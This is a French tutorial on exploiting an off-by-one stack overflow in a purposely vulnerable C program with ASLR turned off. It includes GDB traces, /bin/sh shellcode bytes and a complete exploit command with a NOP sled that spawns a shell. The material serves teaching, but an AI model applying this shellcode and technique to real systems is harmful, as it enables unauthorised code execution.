Intro :
L’off-by-one n’est pas un buffer overflow classique car le principe d’exploitation est totalement différent.
Pour cet article nous allons utiliser ce code source vulnérable et désactiver l’aslr (sysctl -w kernel.randomize_va_space=0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h> #include <string.h> #define limit 1024 int i; void func(char *arg) { char buffer[1024]; for (i = 0; arg[i] != '\0' && i < limit; i++) { buffer[i] = arg[i]; } if (strlen(arg) > limit) buffer[1024] = 0; } int main(int argc, char *argv[]) { if (argc != 2) { printf("%s <arg>\n", argv[0]); return (1); } func(argv[1]); return (0); } |
On compile :
1 | gcc off-by-one.c -o off-by-one -mpreferred-stack-boundary=2 |
Dans cette source, nous voyons bien que le null byte se trouve en dehors du buffer, ce qui permet de terminer la chaîne. Donc contrairement à un buffer overflow, nous n’avons pas écrasé directement EIP mais juste le dernier octet de EBP saved.
Rappel sur les appels de fonction en C :
En C lorsque l’on appelle une fonction, deux mécanismes bien connus en assembleur sont créés : le prolog et l’epilog.
Le prolog est appelé à l’entrée de la fonction (donc avant son exécution) et sert à préparer la pile pour son bon déroulement ; quand à l’epilog, il sert à restaurer la pile dans l’état où elle était avant son appel.
Voici à quoi correspond un prolog :
1 2 | push ebp ; Sauvegarde d'ebp. mov ebp,esp ; Création du stack frame. |
Pour l’epilog, on peut en trouver de deux sortes, mais qui font exactement la même chose :
1 2 | leave ret |
Ou :
1 2 3 | mov esp,ebp ; Destruction du stack frame. pop ebp ; Restaure ebp. ret |
Le bug :
On va utiliser GDB et poser des breakpoints à différents endroits pour surveiller la valeur des registres.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | gdb ./off-by-one (gdb) disass main ... End of assembler dump. (gdb) b * main+0 Breakpoint 1 at 0x8048461 (gdb) b * main+63 Breakpoint 2 at 0x80484a0 (gdb) disass func ... End of assembler dump. (gdb) b * func+0 Breakpoint 3 at 0x80483f4 (gdb) b * func+108 Breakpoint 4 at 0x8048460 |
On run le programme avec en argument pleins de ‘a’…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | (gdb) r $(python -c 'print "a"*2048') Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "a"*2048') Breakpoint 1, 0x08048461 in main () (gdb) p $ebp $1 = (void *) 0xbffff018 (gdb) c Continuing. Breakpoint 3, 0x080483f4 in func () (gdb) p $ebp $2 = (void *) 0xbfffef98 // ebp saved (gdb) c Continuing. Breakpoint 4, 0x08048460 in func () (gdb) p $ebp $3 = (void *) 0xbfffef00 // ebp saved avec le dernier byte écrasé (gdb) x/2x 0xbfffef00 0xbfffef00: 0x61616161 0x61616161 (gdb) ni 0x0804849a in main () // on se retrouve dans main() (gdb) p $ebp $4 = (void *) 0xbfffef00 (gdb) c Continuing. Breakpoint 2, 0x080484a0 in main () (gdb) x/2x $esp 0xbfffef04: 0x61616161 0x61616161 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () |
Ici nous voyons clairement le bug, le dernier byte d’ebp saved a été écrasé par le caractère null qui termine la chaîne, au départ sa valeur était de 0xbfffef98 puis à la sortie de func() elle était de 0xbfffef00.
Si on regarde ce qu’il y a à 0xbfffef00 on y voit nos ‘a’. Donc après l’epilog de func(), le haut de la pile pour main() contient nos ‘a’. Du coup, lors de l’epilog de main() cette fois, ebp va prendre comme valeur 0x61616161.
C’est à l’instruction qui suit (au ret de main) donc à l’instruction pop eip que ça plante, apres avoir dépilé sur la stack la valeur de ebp donc si vous avez bien suivi 0x61616161. EIP va également prendre cette valeur, alors qu’aucune instruction ne se trouve à 0x61616161.
Exploitation :
Pour l’exploitation je vais utiliser un shellcode qui exécute /bin/sh dont voici les bytes :
1 | "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" |
GDB va encore me servir mais cette fois-ci pour trouver l’adresse où jumper :
1 2 3 4 5 6 7 8 9 10 | (gdb) r $(python -c 'print "aaaa" * 2048 + "\x90"*1024+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "aaaa" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) x/10000x $esp ... 0xbffff748: 0x90909090 0x90909090 0x90909090 0x90909090 ... (gdb) |
Nous n’avons plus qu’à remplacer nos ‘a’ par cette adresse, et normalement ça devrait sauter en plein milieu de nos nops.
1 2 | ./off-by-one $(python -c 'print "\x48\xf7\xff\xbf" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') $ exit |
On a bien obtenu le shell /bin/sh.
C’est tout pour cet article, j’espère vous avoir éclaircit sur ce type d’exploitation 😉